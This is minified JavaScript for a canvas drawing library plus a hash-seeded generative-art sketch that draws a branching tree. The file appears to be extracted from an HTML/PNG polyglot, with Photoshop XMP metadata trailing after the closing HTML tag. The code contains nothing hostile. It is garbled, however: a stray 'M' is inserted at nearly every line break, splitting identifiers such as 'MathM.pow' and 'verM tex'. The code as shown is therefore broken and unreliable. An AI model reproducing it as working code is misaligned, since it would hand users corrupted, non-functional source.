 n.rect(e,t,o,o,r,a,i,l)},n.beginShape=function(){_(),o.beginPath(),a=!0},n.beginContour=function(){o.closePath(),_(),a=!0},n.endContour=function(){_(),a=!0},n.vertex=function(e,t){_(),a?o.moveTo(e,t):o.lineTo(e,t),a=!1},n.bezierVertex=function(e,t,n,r,a,i){_(),o.bezierCurveTo(e,t,n,r,a,i)},n.quadraticVertex=function(e,t,n,r){_(),o.quadraticCurveTo(e,t,n,r)},n.bezier=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,r,a,i,l,s),n.endShape()},n.triangle=function(e,t,o,r,a,i){n.beginShape(),n.verM
tex(e,t),n.vertex(o,r),n.vertex(a,i),n.endShape(n.CLOSE)},n.quad=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.vertex(o,r),n.vertex(a,i),n.vertex(l,s),n.endShape(n.CLOSE)},n.endShape=function(e){_(),e&&o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke(),n._style.noFill&&n._style.noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())},n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let r=function(e,t,n,o,r,a,i,l,s,u){function c(e,t,n,o,r,a){let i=Math.pow(o-t,2)+MathM
.pow(r-n,2);return Math.pow(i,.5*a)+e}let h=[],f=c(0,e,t,n,o,u),d=c(f,n,o,r,a,u),p=c(d,r,a,i,l,u);for(let u=0;u<s;u++){let c=f+u/(s-1)*(d-f),y=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<y.length;e+=2)isNaN(y[e])&&(y[e]=1,y[e+1]=0),isFinite(y[e])||(y[e]>0?(y[e]=1,y[e+1]=0):(y[e]=0,y[e+1]=1));let m=e*y[0]+n*y[1],g=t*y[0]+o*y[1],v=n*y[2]+r*y[3],M=o*y[2]+a*y[3],_=r*y[4]+i*y[5],x=a*y[4]+l*y[5],w=m*y[6]+v*y[7],R=g*y[6]+M*y[7],I=vM
*y[8]+_*y[9],C=M*y[8]+x*y[9],S=w*y[2]+I*y[3],E=R*y[2]+C*y[3];h.push([S,E])}return h}(...i[i.length-4],...i[i.length-3],...i[i.length-2],...i[i.length-1],n._style.curveDetail,n._style.curveAlpha);for(let e=0;e<r.length;e++)a?o.moveTo(...r[e]):o.lineTo(...r[e]),a=!1},n.curve=function(e,t,o,r,a,i,l,s){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,r),n.curveVertex(a,i),n.curveVertex(l,s),n.endShape()},n.translate=function(e,t){o.translate(e,t)},n.rotate=function(e){o.rotate(e)},n.scale=function(e,t){null==t&&(t=e),M
o.scale(e,t)},n.applyMatrix=function(e,t,n,r,a,i){o.transform(e,t,n,r,a,i)},n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)},n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)},n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)},n.pushMatrix=n.push=function(){n._styleCache.push({...n._style}),n._style=n._styleCache[n._styleCache.length-1],o.save()},n.popMatrix=n.pop=function(){n._styleCache.length-1&&(n._styleCache.pop(),n._style=n._styleCache[n._styleCache.length-1],oM
.restore())},n.image=function(e,t,r,a,i,l,s,u,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let t=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(M
e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),a?l?(u||(u=h.width),c||(c=h.height),o.drawImage(h,l,s,u,c,t,r,a,i),void d()):(o.drawImage(h,t,r,a,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,r,e.width,e.height):o.drawImage(h,t,r,e.videoWidth,e.videoHeight),void d())},n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data},n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)},n.loadImage=function(e,t){s++;let o=n.createGraphics(100,100M
),r=o.canvas.getContext("2d"),a=new Image;return a.src=e,a.crossOrigin="Anonymous",a.onload=function(){r.canvas.width=a.width,r.canvas.height=a.height,o.width=a.width,o.height=a.height,r.drawImage(a,0,0),s--,t&&t(o)},o};let x={};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClamM
pedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()}x[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}},x[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}},x[n.OPAQUE]=functM
ion(e){for(let t=0;t<e.length;t+=4)e[t+3]=255},x[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[t+2]=255-e[t+2]},x[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n},x[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*rM
;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.max(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.ERODE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*r;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.min(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let r=2*t+1,a=funcM
tion(e){let n=new Float32Array(e),o=.3*t+.8,r=o*o*2;for(let t=0;t<e;t++){let a=t-e/2,i=Math.exp(-a*a/r)/(2.5066282746*o);n[t]=i}return n}(r),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,s=0,u=0,c=0;for(let e=0;e<r;e++){let r=4*(n*i+Math.min(Math.max(o-t+e,0),i-1));l+=d[r]*a[e],s+=d[r+1]*a[e],u+=d[r+2]*a[e],c+=d[r+3]*a[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=s,e[h+2]=u,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let s=0,u=0,c=0,h=0;for(let e=0;e<r;e++){let r=4*(MathM
.min(Math.max(n-t+e,0),l-1)*i+o);s+=d[r]*a[e],u+=d[r+1]*a[e],c+=d[r+2]*a[e],h+=d[r+3]*a[e]}let f=4*(n*i+o);e[f]=s,e[f+1]=u,e[f+2]=c,e[f+3]=h}},n.filter=function(e,t){if(n.HARDWARE_FILTERS&&null!=o.filter)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5),I(`saturate(0%) brightness(${Math.floor(.5/t*100)}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawIM
mage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}},n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,M
0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()},n.get=function(e,t,r,a){if(null!=e&&null==r){let r=o.getImageData(e,t,1,1).data;return new n.Color(r[0],r[1],r[2],r[3]/255)}e=e||0,t=t||0,r=r||n.width,a=a||n.height;let i=n.createGraphics(r,a);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,r*n._pixelDensity,a*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i},n.set=function(e,t,r){if(r.MAGIC==n.MAGICM
){let o=n._tint;return n._tint=null,n.image(r,e,t),void(n._tint=o)}let a=4*(t*n._pixelDensity*o.canvas.width+e*n._pixelDensity);n.pixels[a]=r._r,n.pixels[a+1]=r._g,n.pixels[a+2]=r._b,n.pixels[a+3]=255*r._a},n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransM
form();let r=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.globalCompositeOperation=r,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()},n.tint=function(){n._tint=n.color(...Array.from(arguments))},n.noTint=function(){n._tint=null},n.mask=function(e){o.save(),o.resetTransform();let t=o.gloM
balCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeOperation=t,o.restore()},n.clearTemporaryBuffers=function(){h=null,f=null,d=null},n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",(function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t}),!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)},n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.M
save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let r=e.split(".");return n.save(r.slice(0,-1).join("."),r[r.length-1])},n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),r=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const a=document.createElement("style");return a.textContent=r,document.head.append(a),o},n.textFont=function(e){n._style.textFont=e},n.textSize=function(e){n._style.teM
xtSize=e,n._style.textLeading=e},n.textLeading=function(e){n._style.textLeading=e},n.textStyle=function(e){n._style.textStyle=e},n.textAlign=function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)},n.text=function(e,t,r,a){if(!e)return;if(e=e.toString(),n._style.noFill&&n._style.noStroke)return;o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._style.noFill||o.fillText(i[e],t,r,a),n._style.noStroke||o.strokeText(i[e],t,r,a),r+=M
n._style.textLeading},n.textWidth=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).width},n.textAscent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxAscent},n.textDescent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxDescent};var C,S=4,E=.5,A=function(e){return.5*(1-Math.cos(e*Math.PI))};n.noiM
se=function(e,t,n){if(t=t||0,n=n||0,null==C){C=new Array(4096);for(var o=0;o<4096;o++)C[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var r,a,i,l,s,u=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-u,d=t-c,p=n-h,y=0,m=.5,g=0;g<S;g++){var v=u+(c<<4)+(h<<8);r=A(f),a=A(d),i=C[4095&v],i+=r*(C[v+1&4095]-i),l=C[v+16&4095],i+=a*((l+=r*(C[v+16+1&4095]-l))-i),l=C[4095&(v+=256)],l+=r*(C[v+1&4095]-l),s=C[v+16&4095],l+=a*((s+=r*(C[v+16+1&4095]-s))-l),y+=(i+=A(p)*(l-i))*m,m*=E,u<<=1,c<<=1,h<<=1,(f*=2)>=1&&(u++,f--)M
,(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return y},n.noiseDetail=function(e,t){e>0&&(S=e),t>0&&(E=t)};const b=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17,e^=e>>13,((e^=e<<5)>>>0)/n)}};let T=b();T.setSeed(),n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;C||(C=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,C[n]=(t>>>0)/4294967295},n.randomSeed=function(e){T.setSeed(e)},n.random=function(e,t){returM
n null==e?T.rand():"number"==typeof e?null!=t?T.rand()*(t-e)+e:T.rand()*e:e[~~(e.length*T.rand())]},n.randomGenerator=function(e){e==n.LCG?T=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rand:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(T=b()),T.setSeed()};var P=new function(){var e,t,n,o=new Array(128),r=new Array(256),a=new Array(128),i=new Array(128),l=new Array(256),s=new Array(256),u=function(){return 4294967296*T.rand()-2147483648},c=function(M
){return.5+2.328306e-10*(u()<<0)};this.SHR3=u,this.UNI=c,this.RNOR=function(){return n=u(),e=127&n,Math.abs(n)<o[e]?n*a[e]:function(){for(var t,r,l,s,h=3.44262;;){if(t=n*a[e],0==e){do{l=c(),s=c(),t=.2904764*-Math.log(l),r=-Math.log(s)}while(r+r<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=u(),e=127&n,Math.abs(n)<o[e])return n*a[e]}}()},this.REXP=function(){return(t=u()>>>0)<o[e=255&t]?t*l[e]:function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],s[e]+c()*(s[e-M
1]-s[e])<Math.exp(-n))return n;if((t=u())<r[e=255&t])return t*l[e]}}()},this.zigset=function(){var e,t,n=2147483648,u=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,y=.003949659822581572;for(e=f/Math.exp(-.5*c*c),o[0]=Math.floor(c/e*n),o[1]=0,a[0]=e/n,a[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),a[t]=c/n;for(e=y/Math.exp(-d),r[0]=Math.floor(d/e*u),r[1]=0,l[0]=e/u,l[255]=d/u,M
s[0]=1,s[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(y/d+Math.exp(-d)),r[t+1]=Math.floor(d/p*u),p=d,s[t]=Math.exp(-d),l[t]=d/u}};P.hasInit=!1,n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e},n.randomExponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()},n.print=console.log,n.cursor=function(e,t,o){let r="";e.includes(".")&&(e=`url("${e}")`,r=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+r},n.noCursor=function(){n.canvas.style.cursor="none"M
},n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then((function(e){t.srcObject=e})),t.style.position="absolute",t.style.opacity=1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let D=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of D){let t="_"+e+"Fn";n[t]=function(M
){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(r=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),_(),a=!0,n.push(),n._drawFn(),n.pop(),++n.frameCount}function k(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,r=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/r,id:e.identifier}}function O(){return n._touchStarted.isPlaceHolder&&n._touchMoved.isPlaceHoldM
er&&n._touchEnded.isPlaceHolder}n.noLoop=function(){n._noLoop=!0,r=null},n.loop=function(){n._noLoop=!1,null==r&&z()},n.redraw=function(){z()},n.frameRate=function(e){n._frameRate=e},setTimeout((function(){n._preloadFn(),c=window.performance.now(),function e(){if(s>0)return setTimeout(e,10);n._setupFn(),z()}()}),1),n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)},n.canvas.onmousedown=function(e){n.pM
mouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)},n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)},n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1},window.addEventListener("keydown",(funM
ction(e){n.keyIsPressed=!0,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)})),window.addEventListener("keyup",(function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!1,n._keyReleasedFn(e)})),n.keyIsDown=function(e){return!!u[e]},n.canvas.ontouchstart=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||eM
.preventDefault()),n._touchStartedFn(e)||e.preventDefault()},n.canvas.ontouchmove=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()},n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPM
ressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()},n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPermission),n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then((e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then((e=>{"granted"==e&&(n.hasSensorPermissM
ion=!0)})).catch(alert)})).catch(alert)},window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,n.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.reM
lRotationZ=n.rotationZ},window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13]M
,e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]M
*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e),0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}},n.year=function(){return(new Date).getFullYear()},n.day=functionM
(){return(new Date).getDay()},n.hour=function(){return(new Date).getHours()},n.minute=function(){return(new Date).getMinutes()},n.second=function(){return(new Date).getSeconds()},n.millis=function(){return window.performance.now()-c}}(e)}function t(){let e=l(0,1);return e+=.618033988749895,e%=1,color(floor(360*e),i(10,100),i(10,100))}function n(e){e.sort((function(e,t){return e.width>t.width?-1:e.width<t.width?1:0}))}function o(e,t,n,o,r,a,i,s,u){let c=[];for(let h=e;h<t;h+=s)c.push({start:createVector(h,r),end:creM
ateVector(h,r+a*(1-l(0,i))),width:n*(1-l(0,o)),color:u});return c}function r(e,t,n,o,a,s,u){let c=createVector(e.x+t*cos(n),e.y+t*sin(n)),h=[{start:e,end:c,width:o,color:s[i(0,s.length-1)]}];if(u<i(6,12)){let e=t/l(1.3,1.6),i=o/l(1.1,1.6);h.push(...r(c,e,n+a,i,a,s,u+1)),h.push(...r(c,e,n-a,i,a,s,u+1))}return h}function a(e){for(let t=0;t<e.length;t++){let n=e[t].width;stroke(e[t].color),strokeWeight(.9*n),line(e[t].start.x,e[t].start.y,e[t].end.x,e[t].end.y)}}function i(e,t){return e=Math.ceil(e),t=Math.floor(t),MaM
th.floor(c()*(t-e+1))+e}function l(e,t){return c()*(t-e)+e}function s(e,t,n,o){return function(){var r=(e>>>=0)+(t>>>=0)|0;return e=t^t>>>9,t=(n>>>=0)+(n<<3)|0,n=(n=n<<21|n>>>11)+(r=r+(o=(o>>>=0)+1|0)|0)|0,(r>>>0)/4294967296}}function u(e){for(var t=0,n=1779033703^e.length;t<e.length;t++)n=(n=Math.imul(n^e.charCodeAt(t),3432918353))<<13|n>>>19;return function(){return n=Math.imul(n^n>>>16,2246822507),n=Math.imul(n^n>>>13,3266489909),(n^=n>>>16)>>>0}}"object"==typeof exports&&"undefined"!=typeof module&&(module.expoM
rts=e),new e("global");let c,h="m/71233/1/0/0",f="0248e712cf7813e562db1e7700e4aaa1d0726bc7b13cf4ec707cb1d1064801a6e4";function setup(){createCanvas(windowWidth,windowHeight),colorMode(HSB,360,100,100);let e=u(f.slice(2));c=s(e(),e(),e(),e());let d=i(2,6),p=[];for(let e=0;e<d-1;e++)p.push(t());let y,m,g=p[i(0,p.length-1)];do{y=t(),m=Math.abs(hue(y)-hue(g)),m+=Math.abs(saturation(y)-saturation(g)),m+=Math.abs(brightness(y)-brightness(g))}while(m<180);background(y);for(let e=0;e<=width;e+=i(0,15))for(let t=0;t<=heightM
;t+=i(0,15)){let n=i(10,20);push(),translate(e,t),rotate(l(0,2*PI)),beginShape(),noStroke(),fill(hue(y)+i(-2,2),saturation(y)+i(-2,2),brightness(y)+i(-2,2));for(let e=0;e<2*PI;e+=.1){let t=cos(e)*n,o=sin(e)*n;vertex(t,o)}endShape(CLOSE),pop()}let v=l(.1,.6),M=(height+width)/150,_=(height+width)/50,x=i(M,_),w=.7+(x-M)/(_-M)*(.9-.7),R=i((height+width)/14,(height+width)/8),I=o(0,width,i(x/4,x/2),l(.2,1),height,-x*l(.5,1.5),l(.2,1),i(x/4,x/2),g),C=r(createVector(width/2,height),R,-PI/2,x,v,p,0);n(C),n(I);let S=(width+hML
eight)/15;stroke(g),strokeWeight(S/50),noFill(),ellipse(width-S,S,S,S),fill(g),noStroke(),ellipse(width-S,S,S*w,S*w),a(C,!1),a(I,!1),textFont("Courier New");let E=(width+height)/150;textSize(E),strokeWeight(1),stroke(g),textStyle(NORMAL);let A=h.slice(2).split("/");for(let e=0;e<A.length;e++)text("/"+A[e],4,E+e*E)}</script></html>h!
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:8E64B81AA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:8E64B81BA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8E64B818A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:8E64B819A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
